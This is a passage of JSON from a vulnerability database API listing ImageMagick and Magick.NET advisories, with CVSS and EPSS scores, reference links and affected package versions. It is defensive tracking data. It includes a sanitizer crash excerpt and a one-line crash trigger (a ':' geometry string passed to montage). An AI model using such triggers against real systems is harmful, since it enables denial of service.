"http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-28690", "GHSA-7h7q-j33q-hvpf" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-x1pn-e5ze-tqd2" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50899?format=api", "vulnerability_id": "VCID-x85h-m4tr-ykha", "summary": "ImageMagick vulnerable to stack corruption through long morphology kernel names or arrays\nA stack buffer overflow exists in ImageMagick's morphology kernel parsing functions. User-controlled kernel strings exceeding a buffer are copied into fixed-size stack buffers via memcpy without bounds checking, resulting in stack corruption.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28494.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.1", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28494.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28494", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00018", "scoring_system": "epss", "scoring_elements": "0.04756", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28494" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28494", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28494" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445901", "reference_id": "2445901", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445901" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28494", "reference_id": "CVE-2026-28494", "reference_type": "", "scores": [ { "value": "7.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28494" }, { "reference_url": "https://github.com/advisories/GHSA-932h-jw47-73jm", "reference_id": "GHSA-932h-jw47-73jm", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-932h-jw47-73jm" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-932h-jw47-73jm", "reference_id": "GHSA-932h-jw47-73jm", "reference_type": "", "scores": [ { "value": "7.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-10T14:40:59Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-932h-jw47-73jm" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-28494", "GHSA-932h-jw47-73jm" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-x85h-m4tr-ykha" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/49529?format=api", "vulnerability_id": "VCID-xftp-cy5m-nkhh", "summary": "ImageMagick's failure to limit the depth of SVG file reads caused a DoS attack\nUsing Magick to read a malicious SVG file resulted in a DoS attack.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-68618.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-68618.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-68618", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00032", "scoring_system": "epss", "scoring_elements": "0.09683", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-68618" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68618", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68618" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/6f431d445f3ddd609c004a1dde617b0a73e60beb", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-12-30T18:09:57Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/6f431d445f3ddd609c004a1dde617b0a73e60beb" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2426285", "reference_id": "2426285", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2426285" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68618", "reference_id": "CVE-2025-68618", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68618" }, { "reference_url": "https://github.com/advisories/GHSA-p27m-hp98-6637", "reference_id": "GHSA-p27m-hp98-6637", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-p27m-hp98-6637" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p27m-hp98-6637", "reference_id": "GHSA-p27m-hp98-6637", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-12-30T18:09:57Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p27m-hp98-6637" }, { "reference_url": "https://usn.ubuntu.com/8007-1/", "reference_id": "USN-8007-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8007-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/73144?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-97p8-5z8e-2qd5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-c9t3-dj85-nfev" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t1vu-myek-u7dq" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-wh9f-rvt4-6fb9" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.1" } ], "aliases": [ "CVE-2025-68618", "GHSA-p27m-hp98-6637" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-xftp-cy5m-nkhh" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50784?format=api", "vulnerability_id": "VCID-xuxk-mcdm-q3fr", "summary": "ImageMagick is vulnerable to Heap Overflow when writing extremely large image profile in the PNG encoder\nAn extremely large image profile could result in a heap overflow when encoding a PNG image.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30883.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30883.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30883", "reference_id": "", "reference_type": "", "scores": [ { "value": "9e-05", "scoring_system": "epss", "scoring_elements": "0.00892", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30883" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30883", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30883" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445878", "reference_id": "2445878", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445878" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30883", "reference_id": "CVE-2026-30883", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30883" }, { "reference_url": "https://github.com/advisories/GHSA-qmw5-2p58-xvrc", "reference_id": "GHSA-qmw5-2p58-xvrc", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-qmw5-2p58-xvrc" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qmw5-2p58-xvrc", "reference_id": "GHSA-qmw5-2p58-xvrc", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:53:57Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qmw5-2p58-xvrc" }, { "reference_url": "https://usn.ubuntu.com/8127-1/", "reference_id": "USN-8127-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8127-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-30883", "GHSA-qmw5-2p58-xvrc" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-xuxk-mcdm-q3fr" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50898?format=api", "vulnerability_id": "VCID-ye74-15xt-ukhk", "summary": "ImageMagick: MSL attribute stack buffer overflow leads to out of bounds write.\nA stack buffer overflow occurs when processing the an attribute in msl.c. A long value overflows a fixed-size stack buffer, leading to memory corruption.\n\n```\n=================================================================\n==278522==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdb8c76984 at pc 0x55a4bf16f507 bp 0x7ffdb8c75bc0 sp 0x7ffdb8c75bb0\nWRITE of size 1 at 0x7ffdb8c76984 thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25968.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25968.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25968", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00064", "scoring_system": "epss", "scoring_elements": "0.20132", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25968" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25968", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25968" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442125", "reference_id": "2442125", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442125" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25968", "reference_id": "CVE-2026-25968", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25968" }, { "reference_url": "https://github.com/advisories/GHSA-3mwp-xqp2-q6ph", "reference_id": "GHSA-3mwp-xqp2-q6ph", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-3mwp-xqp2-q6ph" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-3mwp-xqp2-q6ph", "reference_id": "GHSA-3mwp-xqp2-q6ph", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-3mwp-xqp2-q6ph" }, { "reference_url": "https://usn.ubuntu.com/8069-1/", "reference_id": "USN-8069-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8069-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25968", "GHSA-3mwp-xqp2-q6ph" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-ye74-15xt-ukhk" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/57978?format=api", "vulnerability_id": "VCID-yhp9-y1y3-nyh8", "summary": "ImageMagick affected by divide-by-zero in ThumbnailImage via montage -geometry \":\" leads to crash\nPassing a geometry string containing only a colon (\":\") to montage -geometry leads GetGeometry() to set width/height to 0. Later, ThumbnailImage() divides by these zero dimensions, triggering a crash (SIGFPE/abort), resulting in a denial of service.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55212.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" } 